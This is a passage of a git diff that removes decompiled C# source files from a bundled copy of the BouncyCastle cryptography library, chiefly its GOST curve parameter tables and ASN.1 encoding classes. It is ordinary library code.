public static readonly DerObjectIdentifier GostR3410x2001CryptoProA = new DerObjectIdentifier("1.2.643.2.2.35.1"); - - public static readonly DerObjectIdentifier GostR3410x2001CryptoProB = new DerObjectIdentifier("1.2.643.2.2.35.2"); - - public static readonly DerObjectIdentifier GostR3410x2001CryptoProC = new DerObjectIdentifier("1.2.643.2.2.35.3"); - - public static readonly DerObjectIdentifier GostR3410x2001CryptoProXchA = new DerObjectIdentifier("1.2.643.2.2.36.0"); - - public static readonly DerObjectIdentifier GostR3410x2001CryptoProXchB = new DerObjectIdentifier("1.2.643.2.2.36.1"); - - public static readonly DerObjectIdentifier GostElSgDH3410Default = new DerObjectIdentifier("1.2.643.2.2.36.0"); - - public static readonly DerObjectIdentifier GostElSgDH3410x1 = new DerObjectIdentifier("1.2.643.2.2.36.1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/ECGost3410NamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/ECGost3410NamedCurves.cs deleted file mode 100644 index 77da7f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/ECGost3410NamedCurves.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public sealed class ECGost3410NamedCurves -{ - internal static readonly IDictionary objIds; - - internal static readonly IDictionary parameters; - - internal static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private ECGost3410NamedCurves() - { - } - - static ECGost3410NamedCurves() - { - objIds = Platform.CreateHashtable(); - parameters = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - BigInteger q = new BigInteger("115792089237316195423570985008687907853269984665640564039457584007913129639319"); - BigInteger bigInteger = new BigInteger("115792089237316195423570985008687907853073762908499243225378155805079068850323"); - FpCurve fpCurve = new FpCurve(q, new BigInteger("115792089237316195423570985008687907853269984665640564039457584007913129639316"), new BigInteger("166"), bigInteger, BigInteger.One); - ECDomainParameters value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("1"), new BigInteger("64033881142927202683649881450433473985931760268884941288852745803908878638612")), bigInteger, BigInteger.One); - parameters[CryptoProObjectIdentifiers.GostR3410x2001CryptoProA] = value; - q = new BigInteger("115792089237316195423570985008687907853269984665640564039457584007913129639319"); - bigInteger = new BigInteger("115792089237316195423570985008687907853073762908499243225378155805079068850323"); - fpCurve = new FpCurve(q, new BigInteger("115792089237316195423570985008687907853269984665640564039457584007913129639316"), new BigInteger("166"), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("1"), new BigInteger("64033881142927202683649881450433473985931760268884941288852745803908878638612")), bigInteger, BigInteger.One); - parameters[CryptoProObjectIdentifiers.GostR3410x2001CryptoProXchA] = value; - q = new BigInteger("57896044618658097711785492504343953926634992332820282019728792003956564823193"); - bigInteger = new BigInteger("57896044618658097711785492504343953927102133160255826820068844496087732066703"); - fpCurve = new FpCurve(q, new BigInteger("57896044618658097711785492504343953926634992332820282019728792003956564823190"), new BigInteger("28091019353058090096996979000309560759124368558014865957655842872397301267595"), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("1"), new BigInteger("28792665814854611296992347458380284135028636778229113005756334730996303888124")), bigInteger, BigInteger.One); - parameters[CryptoProObjectIdentifiers.GostR3410x2001CryptoProB] = value; - q = new BigInteger("70390085352083305199547718019018437841079516630045180471284346843705633502619"); - bigInteger = new BigInteger("70390085352083305199547718019018437840920882647164081035322601458352298396601"); - fpCurve = new FpCurve(q, new BigInteger("70390085352083305199547718019018437841079516630045180471284346843705633502616"), new BigInteger("32858"), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("0"), new BigInteger("29818893917731240733471273240314769927240550812383695689146495261604565990247")), bigInteger, BigInteger.One); - parameters[CryptoProObjectIdentifiers.GostR3410x2001CryptoProXchB] = value; - q = new BigInteger("70390085352083305199547718019018437841079516630045180471284346843705633502619"); - bigInteger = new BigInteger("70390085352083305199547718019018437840920882647164081035322601458352298396601"); - fpCurve = new FpCurve(q, new BigInteger("70390085352083305199547718019018437841079516630045180471284346843705633502616"), new BigInteger("32858"), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("0"), new BigInteger("29818893917731240733471273240314769927240550812383695689146495261604565990247")), bigInteger, BigInteger.One); - parameters[CryptoProObjectIdentifiers.GostR3410x2001CryptoProC] = value; - q = new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD97", 16); - bigInteger = new BigInteger("400000000000000000000000000000000FD8CDDFC87B6635C115AF556C360C67", 16); - fpCurve = new FpCurve(q, new BigInteger("C2173F1513981673AF4892C23035A27CE25E2013BF95AA33B22C656F277E7335", 16), new BigInteger("295F9BAE7428ED9CCC20E7C359A9D41A22FCCD9108E17BF7BA9337A6F8AE9513", 16), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("91E38443A5E82C0D880923425712B2BB658B9196932E02C78B2582FE742DAA28", 16), new BigInteger("32879423AB1A0375895786C4BB46E9565FDE0B5344766740AF268ADB32322E5C", 16)), bigInteger, BigInteger.One); - parameters[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256_paramSetA] = value; - q = new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDC7", 16); - bigInteger = new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF27E69532F48D89116FF22B8D4E0560609B4B38ABFAD2B85DCACDB1411F10B275", 16); - fpCurve = new FpCurve(q, new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDC4", 16), new BigInteger("E8C2505DEDFC86DDC1BD0B2B6667F1DA34B82574761CB0E879BD081CFD0B6265EE3CB090F30D27614CB4574010DA90DD862EF9D4EBEE4761503190785A71C760", 16), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003"), new BigInteger("7503CFE87A836AE3A61B8816E25450E6CE5E1C93ACF1ABC1778064FDCBEFA921DF1626BE4FD036E93D75E6A50E3A41E98028FE5FC235F5B889A589CB5215F2A4", 16)), bigInteger, BigInteger.One); - parameters[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetA] = value; - q = new BigInteger("8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006F", 16); - bigInteger = new BigInteger("800000000000000000000000000000000000000000000000000000000000000149A1EC142565A545ACFDB77BD9D40CFA8B996712101BEA0EC6346C54374F25BD", 16); - fpCurve = new FpCurve(q, new BigInteger("8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006C", 16), new BigInteger("687D1B459DC841457E3E06CF6F5E2517B97C7D614AF138BCBF85DC806C4B289F3E965D2DB1416D217F8B276FAD1AB69C50F78BEE1FA3106EFB8CCBC7C5140116", 16), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002"), new BigInteger("1A8F7EDA389B094C2C071E3647A8940F3C123B697578C213BE6DD9E6C8EC7335DCB228FD1EDF4A39152CBCAAF8C0398828041055F94CEEEC7E21340780FE41BD", 16)), bigInteger, BigInteger.One); - parameters[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetB] = value; - q = new BigInteger("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDC7", 16); - bigInteger = new BigInteger("3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC98CDBA46506AB004C33A9FF5147502CC8EDA9E7A769A12694623CEF47F023ED", 16); - fpCurve = new FpCurve(q, new BigInteger("DC9203E514A721875485A529D2C722FB187BC8980EB866644DE41C68E143064546E861C0E2C9EDD92ADE71F46FCF50FF2AD97F951FDA9F2A2EB6546F39689BD3", 16), new BigInteger("B4C4EE28CEBC6C2C8AC12952CF37F16AC7EFB6A9F69F4B57FFDA2E4F0DE5ADE038CBC2FFF719D2C18DE0284B8BFEF3B52B8CC7A5F5BF0A3C8D2319A5312557E1", 16), bigInteger, BigInteger.One); - value = new ECDomainParameters(fpCurve, fpCurve.CreatePoint(new BigInteger("E2E31EDFC23DE7BDEBE241CE593EF5DE2295B7A9CBAEF021D385F7074CEA043AA27272A7AE602BF2A7B9033DB9ED3610C6FB85487EAE97AAC5BC7928C1950148", 16), new BigInteger("F5CE40D95B5EB899ABBCCFF5911CB8577939804D6527378B8C108C3D2090FF9BE18E2D33E3021ED2EF32D85822423B6304F726AA854BAE07D0396E9A9ADDC40F", 16)), bigInteger, BigInteger.One); - parameters[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetC] = value; - objIds["GostR3410-2001-CryptoPro-A"] = CryptoProObjectIdentifiers.GostR3410x2001CryptoProA; - objIds["GostR3410-2001-CryptoPro-B"] = CryptoProObjectIdentifiers.GostR3410x2001CryptoProB; - objIds["GostR3410-2001-CryptoPro-C"] = CryptoProObjectIdentifiers.GostR3410x2001CryptoProC; - objIds["GostR3410-2001-CryptoPro-XchA"] = CryptoProObjectIdentifiers.GostR3410x2001CryptoProXchA; - objIds["GostR3410-2001-CryptoPro-XchB"] = CryptoProObjectIdentifiers.GostR3410x2001CryptoProXchB; - objIds["Tc26-Gost-3410-12-256-paramSetA"] = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256_paramSetA; - objIds["Tc26-Gost-3410-12-512-paramSetA"] = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetA; - objIds["Tc26-Gost-3410-12-512-paramSetB"] = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetB; - objIds["Tc26-Gost-3410-12-512-paramSetC"] = RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetC; - names[CryptoProObjectIdentifiers.GostR3410x2001CryptoProA] = "GostR3410-2001-CryptoPro-A"; - names[CryptoProObjectIdentifiers.GostR3410x2001CryptoProB] = "GostR3410-2001-CryptoPro-B"; - names[CryptoProObjectIdentifiers.GostR3410x2001CryptoProC] = "GostR3410-2001-CryptoPro-C"; - names[CryptoProObjectIdentifiers.GostR3410x2001CryptoProXchA] = "GostR3410-2001-CryptoPro-XchA"; - names[CryptoProObjectIdentifiers.GostR3410x2001CryptoProXchB] = "GostR3410-2001-CryptoPro-XchB"; - names[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256_paramSetA] = "Tc26-Gost-3410-12-256-paramSetA"; - names[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetA] = "Tc26-Gost-3410-12-512-paramSetA"; - names[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetB] = "Tc26-Gost-3410-12-512-paramSetB"; - names[RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512_paramSetC] = "Tc26-Gost-3410-12-512-paramSetC"; - } - - public static ECDomainParameters GetByOid(DerObjectIdentifier oid) - { - return (ECDomainParameters)parameters[oid]; - } - - public static ECDomainParameters GetByName(string name) - { - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)objIds[name]; - if (derObjectIdentifier != null) - { - return (ECDomainParameters)parameters[derObjectIdentifier]; - } - return null; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[name]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/ECGost3410ParamSetParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/ECGost3410ParamSetParameters.cs deleted file mode 100644 index bb8b211..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/ECGost3410ParamSetParameters.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public class ECGost3410ParamSetParameters : Asn1Encodable -{ - internal readonly DerInteger p; - - internal readonly DerInteger q; - - internal readonly DerInteger a; - - internal readonly DerInteger b; - - internal readonly DerInteger x; - - internal readonly DerInteger y; - - public BigInteger P => p.PositiveValue; - - public BigInteger Q => q.PositiveValue; - - public BigInteger A => a.PositiveValue; - - public static ECGost3410ParamSetParameters GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static ECGost3410ParamSetParameters GetInstance(object obj) - { - if (obj == null || obj is ECGost3410ParamSetParameters) - { - return (ECGost3410ParamSetParameters)obj; - } - if (obj is Asn1Sequence) - { - return new ECGost3410ParamSetParameters((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid GOST3410Parameter: " + Platform.GetTypeName(obj)); - } - - public ECGost3410ParamSetParameters(BigInteger a, BigInteger b, BigInteger p, BigInteger q, int x, BigInteger y) - { - this.a = new DerInteger(a); - this.b = new DerInteger(b); - this.p = new DerInteger(p); - this.q = new DerInteger(q); - this.x = new DerInteger(x); - this.y = new DerInteger(y); - } - - public ECGost3410ParamSetParameters(Asn1Sequence seq) - { - if (seq.Count != 6) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - a = DerInteger.GetInstance(seq[0]); - b = DerInteger.GetInstance(seq[1]); - p = DerInteger.GetInstance(seq[2]); - q = DerInteger.GetInstance(seq[3]); - x = DerInteger.GetInstance(seq[4]); - y = DerInteger.GetInstance(seq[5]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(a, b, p, q, x, y); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost28147Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost28147Parameters.cs deleted file mode 100644 index 49d97c5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost28147Parameters.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public class Gost28147Parameters : Asn1Encodable -{ - private readonly Asn1OctetString iv; - - private readonly DerObjectIdentifier paramSet; - - public static Gost28147Parameters GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static Gost28147Parameters GetInstance(object obj) - { - if (obj == null || obj is Gost28147Parameters) - { - return (Gost28147Parameters)obj; - } - if (obj is Asn1Sequence) - { - return new Gost28147Parameters((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid GOST3410Parameter: " + Platform.GetTypeName(obj)); - } - - private Gost28147Parameters(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - iv = Asn1OctetString.GetInstance(seq[0]); - paramSet = DerObjectIdentifier.GetInstance(seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(iv, paramSet); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410NamedParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410NamedParameters.cs deleted file mode 100644 index d49569a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410NamedParameters.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public sealed class Gost3410NamedParameters -{ - private static readonly IDictionary objIds; - - private static readonly IDictionary parameters; - - private static readonly Gost3410ParamSetParameters cryptoProA; - - private static readonly Gost3410ParamSetParameters cryptoProB; - - private static readonly Gost3410ParamSetParameters cryptoProXchA; - - public static IEnumerable Names => new EnumerableProxy(objIds.Keys); - - private Gost3410NamedParameters() - { - } - - static Gost3410NamedParameters() - { - objIds = Platform.CreateHashtable(); - parameters = Platform.CreateHashtable(); - cryptoProA = new Gost3410ParamSetParameters(1024, new BigInteger("127021248288932417465907042777176443525787653508916535812817507265705031260985098497423188333483401180925999995120988934130659205614996724254121049274349357074920312769561451689224110579311248812610229678534638401693520013288995000362260684222750813532307004517341633685004541062586971416883686778842537820383"), new BigInteger("68363196144955700784444165611827252895102170888761442055095051287550314083023"), new BigInteger("100997906755055304772081815535925224869841082572053457874823515875577147990529272777244152852699298796483356699682842027972896052747173175480590485607134746852141928680912561502802222185647539190902656116367847270145019066794290930185446216399730872221732889830323194097355403213400972588322876850946740663962")); - cryptoProB = new Gost3410ParamSetParameters(1024, new BigInteger("139454871199115825601409655107690713107041707059928031797758001454375765357722984094124368522288239833039114681648076688236921220737322672160740747771700911134550432053804647694904686120113087816240740184800477047157336662926249423571248823968542221753660143391485680840520336859458494803187341288580489525163"), new BigInteger("79885141663410976897627118935756323747307951916507639758300472692338873533959"), new BigInteger("42941826148615804143873447737955502392672345968607143066798112994089471231420027060385216699563848719957657284814898909770759462613437669456364882730370838934791080835932647976778601915343474400961034231316672578686920482194932878633360203384797092684342247621055760235016132614780652761028509445403338652341")); - cryptoProXchA = new Gost3410ParamSetParameters(1024, new BigInteger("142011741597563481196368286022318089743276138395243738762872573441927459393512718973631166078467600360848946623567625795282774719212241929071046134208380636394084512691828894000571524625445295769349356752728956831541775441763139384457191755096847107846595662547942312293338483924514339614727760681880609734239"), new BigInteger("91771529896554605945588149018382750217296858393520724172743325725474374979801"), new BigInteger("133531813272720673433859519948319001217942375967847486899482359599369642528734712461590403327731821410328012529253871914788598993103310567744136196364803064721377826656898686468463277710150809401182608770201615324990468332931294920912776241137878030224355746606283971659376426832674269780880061631528163475887")); - parameters[CryptoProObjectIdentifiers.GostR3410x94CryptoProA] = cryptoProA; - parameters[CryptoProObjectIdentifiers.GostR3410x94CryptoProB] = cryptoProB; - parameters[CryptoProObjectIdentifiers.GostR3410x94CryptoProXchA] = cryptoProXchA; - objIds["GostR3410-94-CryptoPro-A"] = CryptoProObjectIdentifiers.GostR3410x94CryptoProA; - objIds["GostR3410-94-CryptoPro-B"] = CryptoProObjectIdentifiers.GostR3410x94CryptoProB; - objIds["GostR3410-94-CryptoPro-XchA"] = CryptoProObjectIdentifiers.GostR3410x94CryptoProXchA; - } - - public static Gost3410ParamSetParameters GetByOid(DerObjectIdentifier oid) - { - return (Gost3410ParamSetParameters)parameters[oid]; - } - - public static Gost3410ParamSetParameters GetByName(string name) - { - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)objIds[name]; - if (derObjectIdentifier != null) - { - return (Gost3410ParamSetParameters)parameters[derObjectIdentifier]; - } - return null; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[name]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410ParamSetParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410ParamSetParameters.cs deleted file mode 100644 index 284724e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410ParamSetParameters.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public class Gost3410ParamSetParameters : Asn1Encodable -{ - private readonly int keySize; - - private readonly DerInteger p; - - private readonly DerInteger q; - - private readonly DerInteger a; - - public int KeySize => keySize; - - public BigInteger P => p.PositiveValue; - - public BigInteger Q => q.PositiveValue; - - public BigInteger A => a.PositiveValue; - - public static Gost3410ParamSetParameters GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static Gost3410ParamSetParameters GetInstance(object obj) - { - if (obj == null || obj is Gost3410ParamSetParameters) - { - return (Gost3410ParamSetParameters)obj; - } - if (obj is Asn1Sequence) - { - return new Gost3410ParamSetParameters((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid GOST3410Parameter: " + Platform.GetTypeName(obj)); - } - - public Gost3410ParamSetParameters(int keySize, BigInteger p, BigInteger q, BigInteger a) - { - this.keySize = keySize; - this.p = new DerInteger(p); - this.q = new DerInteger(q); - this.a = new DerInteger(a); - } - - private Gost3410ParamSetParameters(Asn1Sequence seq) - { - if (seq.Count != 4) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - keySize = DerInteger.GetInstance(seq[0]).Value.IntValue; - p = DerInteger.GetInstance(seq[1]); - q = DerInteger.GetInstance(seq[2]); - a = DerInteger.GetInstance(seq[3]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(new DerInteger(keySize), p, q, a); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410PublicKeyAlgParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410PublicKeyAlgParameters.cs deleted file mode 100644 index 403857a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/Gost3410PublicKeyAlgParameters.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public class Gost3410PublicKeyAlgParameters : Asn1Encodable -{ - private DerObjectIdentifier publicKeyParamSet; - - private DerObjectIdentifier digestParamSet; - - private DerObjectIdentifier encryptionParamSet; - - public DerObjectIdentifier PublicKeyParamSet => publicKeyParamSet; - - public DerObjectIdentifier DigestParamSet => digestParamSet; - - public DerObjectIdentifier EncryptionParamSet => encryptionParamSet; - - public static Gost3410PublicKeyAlgParameters GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static Gost3410PublicKeyAlgParameters GetInstance(object obj) - { - if (obj == null || obj is Gost3410PublicKeyAlgParameters) - { - return (Gost3410PublicKeyAlgParameters)obj; - } - return new Gost3410PublicKeyAlgParameters(Asn1Sequence.GetInstance(obj)); - } - - public Gost3410PublicKeyAlgParameters(DerObjectIdentifier publicKeyParamSet, DerObjectIdentifier digestParamSet) - : this(publicKeyParamSet, digestParamSet, null) - { - } - - public Gost3410PublicKeyAlgParameters(DerObjectIdentifier publicKeyParamSet, DerObjectIdentifier digestParamSet, DerObjectIdentifier encryptionParamSet) - { - if (publicKeyParamSet == null) - { - throw new ArgumentNullException("publicKeyParamSet"); - } - if (digestParamSet == null) - { - throw new ArgumentNullException("digestParamSet"); - } - this.publicKeyParamSet = publicKeyParamSet; - this.digestParamSet = digestParamSet; - this.encryptionParamSet = encryptionParamSet; - } - - public Gost3410PublicKeyAlgParameters(Asn1Sequence seq) - { - publicKeyParamSet = (DerObjectIdentifier)seq[0]; - digestParamSet = (DerObjectIdentifier)seq[1]; - if (seq.Count > 2) - { - encryptionParamSet = (DerObjectIdentifier)seq[2]; - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(publicKeyParamSet, digestParamSet); - if (encryptionParamSet != null) - { - asn1EncodableVector.Add(encryptionParamSet); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DefiniteLengthInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DefiniteLengthInputStream.cs deleted file mode 100644 index 7b9736e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DefiniteLengthInputStream.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -internal class DefiniteLengthInputStream : LimitedInputStream -{ - private static readonly byte[] EmptyBytes = new byte[0]; - - private readonly int _originalLength; - - private int _remaining; - - internal int Remaining => _remaining; - - internal DefiniteLengthInputStream(Stream inStream, int length) - : base(inStream, length) - { - if (length < 0) - { - throw new ArgumentException("negative lengths not allowed", "length"); - } - _originalLength = length; - _remaining = length; - if (length == 0) - { - SetParentEofDetect(on: true); - } - } - - public override int ReadByte() - { - if (_remaining == 0) - { - return -1; - } - int num = _in.ReadByte(); - if (num < 0) - { - throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); - } - if (--_remaining == 0) - { - SetParentEofDetect(on: true); - } - return num; - } - - public override int Read(byte[] buf, int off, int len) - { - if (_remaining == 0) - { - return 0; - } - int count = System.Math.Min(len, _remaining); - int num = _in.Read(buf, off, count); - if (num < 1) - { - throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); - } - if ((_remaining -= num) == 0) - { - SetParentEofDetect(on: true); - } - return num; - } - - internal void ReadAllIntoByteArray(byte[] buf) - { - if (_remaining != buf.Length) - { - throw new ArgumentException("buffer length not right for data"); - } - if ((_remaining -= Streams.ReadFully(_in, buf)) != 0) - { - throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); - } - SetParentEofDetect(on: true); - } - - internal byte[] ToArray() - { - if (_remaining == 0) - { - return EmptyBytes; - } - byte[] array = new byte[_remaining]; - if ((_remaining -= Streams.ReadFully(_in, array)) != 0) - { - throw new EndOfStreamException("DEF length " + _originalLength + " object truncated by " + _remaining); - } - SetParentEofDetect(on: true); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerApplicationSpecific.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerApplicationSpecific.cs deleted file mode 100644 index 84fd36d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerApplicationSpecific.cs +++ /dev/null @@ -1,174 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerApplicationSpecific : Asn1Object -{ - private readonly bool isConstructed; - - private readonly int tag; - - private readonly byte[] octets; - - public int ApplicationTag => tag; - - internal DerApplicationSpecific(bool isConstructed, int tag, byte[] octets) - { - this.isConstructed = isConstructed; - this.tag = tag; - this.octets = octets; - } - - public DerApplicationSpecific(int tag, byte[] octets) - : this(isConstructed: false, tag, octets) - { - } - - public DerApplicationSpecific(int tag, Asn1Encodable obj) - : this(isExplicit: true, tag, obj) - { - } - - public DerApplicationSpecific(bool isExplicit, int tag, Asn1Encodable obj) - { - Asn1Object asn1Object = obj.ToAsn1Object(); - byte[] derEncoded = asn1Object.GetDerEncoded(); - isConstructed = Asn1TaggedObject.IsConstructed(isExplicit, asn1Object); - this.tag = tag; - if (isExplicit) - { - octets = derEncoded; - return; - } - int lengthOfHeader = GetLengthOfHeader(derEncoded); - byte[] array = new byte[derEncoded.Length - lengthOfHeader]; - Array.Copy(derEncoded, lengthOfHeader, array, 0, array.Length); - octets = array; - } - - public DerApplicationSpecific(int tagNo, Asn1EncodableVector vec) - { - tag = tagNo; - isConstructed = true; - MemoryStream memoryStream = new MemoryStream(); - for (int i = 0; i != vec.Count; i++) - { - try - { - byte[] derEncoded = vec[i].GetDerEncoded(); - memoryStream.Write(derEncoded, 0, derEncoded.Length); - } - catch (IOException innerException) - { - throw new InvalidOperationException("malformed object", innerException); - } - } - octets = memoryStream.ToArray(); - } - - private int GetLengthOfHeader(byte[] data) - { - int num = data[1]; - if (num == 128) - { - return 2; - } - if (num > 127) - { - int num2 = num & 0x7F; - if (num2 > 4) - { - throw new InvalidOperationException("DER length more than 4 bytes: " + num2); - } - return num2 + 2; - } - return 2; - } - - public bool IsConstructed() - { - return isConstructed; - } - - public byte[] GetContents() - { - return octets; - } - - public Asn1Object GetObject() - { - return Asn1Object.FromByteArray(GetContents()); - } - - public Asn1Object GetObject(int derTagNo) - { - if (derTagNo >= 31) - { - throw new IOException("unsupported tag number"); - } - byte[] encoded = GetEncoded(); - byte[] array = ReplaceTagNumber(derTagNo, encoded); - if ((encoded[0] & 0x20) != 0) - { - byte[] array2; - (array2 = array)[0] = (byte)(array2[0] | 0x20); - } - return Asn1Object.FromByteArray(array); - } - - internal override void Encode(DerOutputStream derOut) - { - int num = 64; - if 